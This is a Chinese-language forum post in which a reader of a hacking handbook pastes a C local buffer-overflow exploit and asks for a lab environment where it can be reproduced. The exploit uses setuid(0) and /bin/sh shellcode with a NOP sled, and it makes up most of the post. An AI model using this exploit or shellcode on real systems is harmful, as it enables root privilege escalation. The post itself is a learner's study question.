V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
flagsk
V2EX  ›  Linux

关于早前 Linux 的一个缓冲区溢出漏洞 的环境

  •  
  •   flagsk · 2018-12-26 10:39:35 +08:00 · 1550 次点击
    这是一个创建于 2185 天前的主题,其中的信息可能已经有所发展或是发生改变。

    我在看一本叫 《灰帽子攻击手册的书》的时候看到的 下面代码是我从某个网站上复制来的,和书中的差不多 想问下有没有相应的靶机环境 我看到有人在 Centos5.5 上复现了,但是我失败了 球大佬指点 //exploit.c #include<stdio.h> char shellcode[]= //setuid(0) "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_sp(void){ asm("movl %esp,%eax"); } int main(int argc,char *argv[1]){ int i,offset=0; long esp,ret,*addr_ptr; char *buffer,*ptr; int size=500; esp=get_sp(); if(argc>1) size=atoi(argv[1]);//atoi 将字符串转换成整型数字 if(argc>2) offset=atoi(argv[2]); if(argc>3) esp=strtoul(argv[3],NULL,0);//将参数转换为无符号长整数型 ret=esp-offset; fprintf(stderr,"Usage:%s<buff_size><offset>esp:0xfff...\n",argv[0]); fprintf(stderr,"ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret); buffer=(char *)malloc(size); ptr=buffer; addr_ptr=(long *)ptr; for(i=0;i<size;i+=4){ //把 buffer 都填充上 ret 地址 *(addr_ptr++)=ret; } for(i=0;i<size/2;i++){ //把 buffer 前半部都填上 NOP buffer[i]='\x90';} ptr=buffer+size/2; //从 buffer 中间开始填充 shellcode 代码 这几步实现 exploit 的攻击三明治 for(i=0;i<strlen(shellcode);i++){ *(ptr++)=shellcode[i]; } buffer[size-1]=0; //不要忘了 buffer 最后用 0 结尾,否则程序会找不到结尾的 //execl("./vuln","vuln",buffer,0); printf("%s",buffer); //一定要有,以用来被 shell 的 cat 捕获 free(buffer); return 0; }</offset>

    flagsk
        1
    flagsk  
    OP
       2018-12-26 10:40:42 +08:00
    我还是贴上连接把 https://www.cnblogs.com/shanmao/archive/2012/12/20/2826179.html 这上面貌似用的是 red hat9 复现的
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2701 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 36ms · UTC 15:20 · PVG 23:20 · LAX 07:20 · JFK 10:20
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.